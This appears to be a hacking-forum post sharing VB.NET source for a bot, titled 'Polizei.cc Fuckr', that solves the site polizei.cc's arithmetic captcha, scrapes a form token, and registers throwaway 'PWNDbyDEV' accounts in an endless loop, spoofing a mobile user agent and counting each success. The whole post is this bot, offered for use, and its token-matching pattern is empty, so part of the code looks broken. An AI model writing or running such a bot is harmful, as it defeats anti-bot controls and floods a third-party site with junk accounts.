Locked [VB.Net] Polizei.cc Regbot

[dEEpEst]

[LENGUAJE=vb.net]

Die module class:

 

Imports System.IO

Imports System.Text.RegularExpressions

 

Module Module1

 

Sub Main()

Console.Title = "Polizei.cc Fuckr"

Dim i As Integer = 1

Do

With New Http

Dim http As String = .GetResponse("http://www.polizei.cc/")

Dim captcha As String = match(http, "(.+?) = ")

If captcha.Contains("-") Then

Dim temp As String = captcha.Split("-")(0)

Dim temp2 As String = captcha.Split("-")(1)

captcha = temp - temp2

ElseIf captcha.Contains("+") Then

Dim temp As String = captcha.Split("+")(0)

Dim temp2 As String = captcha.Split("+")(1)

captcha = temp + temp2

End If

Dim token As String = match(http, "")

Dim rnd As New Random

Dim user As String = "PWNDbyDEV" & rnd.Next(0, 99999999)

Dim pass As String = "PWNDbyDEV" & rnd.Next(0, 99999999)

http = .GetResponse("http://www.polizei.cc/index.php?do=register", "username=" & user & "&pass=" & pass & "&pass2=" & pass & "&icq=&capcha=" & captcha & "&token=" & token)

If http.Contains("Registrierung erfolgreich") Then

Console.ForegroundColor = ConsoleColor.Green

Console.WriteLine("[" & zeit() & "] Account Registriert " & i)

Console.Title = "Polizei.cc Fuckr [Regged Acc's: " & i & "]"

i += 1

End If

End With

Loop

End Sub

Function match(ByVal str_input$, ByVal str_pattern$)

Dim m As Match = Regex.Match(str_input, str_pattern, RegexOptions.IgnoreCase)

Return m.Groups(1).Value

End Function

Public Function zeit()

Dim Time As String = DateTime.Now.ToString("HH:mm:ss")

Return Time

End Function

End Module[/LENGUAJE]

 

[LENGUAJE=vb.net]

Die http class:

 

Option Strict On

Option Explicit On

 

Imports System.IO

Imports System.Net

Imports System.Text

 

Public Class Http

Dim cookieCon As New CookieContainer

Dim request As HttpWebRequest

Dim response As HttpWebResponse

 

Public Function GetResponse(ByVal url As String) As String

request = CType(HttpWebRequest.Create(url), HttpWebRequest)

request.UserAgent = "Mozilla/5.0 (iPhone; U; CPU iPhone OS 3_0 like Mac OS X; en-us) AppleWebKit/528.18 (KHTML, like Gecko) Version/4.0 Mobile/7A341 Safari/528.16"

request.CookieContainer = cookieCon

response = CType(request.GetResponse(), HttpWebResponse)

Return New StreamReader(response.GetResponseStream()).ReadToEnd()

End Function

 

Public Function GetResponse(ByVal url As String, ByVal post As String) As String

request = CType(HttpWebRequest.Create(url), HttpWebRequest)

request.Method = "POST"

request.CookieContainer = cookieCon

request.UserAgent = "Mozilla/5.0 (iPhone; U; CPU iPhone OS 3_0 like Mac OS X; en-us) AppleWebKit/528.18 (KHTML, like Gecko) Version/4.0 Mobile/7A341 Safari/528.16"

request.ContentType = "application/x-www-form-urlencoded"

 

Dim byteArr() As Byte = Encoding.Default.GetBytes(post)

request.ContentLength = byteArr.Length

 

Dim dataStream As Stream = request.GetRequestStream()

dataStream.Write(byteArr, 0, byteArr.Length)

 

response = CType(request.GetResponse(), HttpWebResponse)

 

Return New StreamReader(response.GetResponseStream()).ReadToEnd()

End Function

End Class[/LENGUAJE]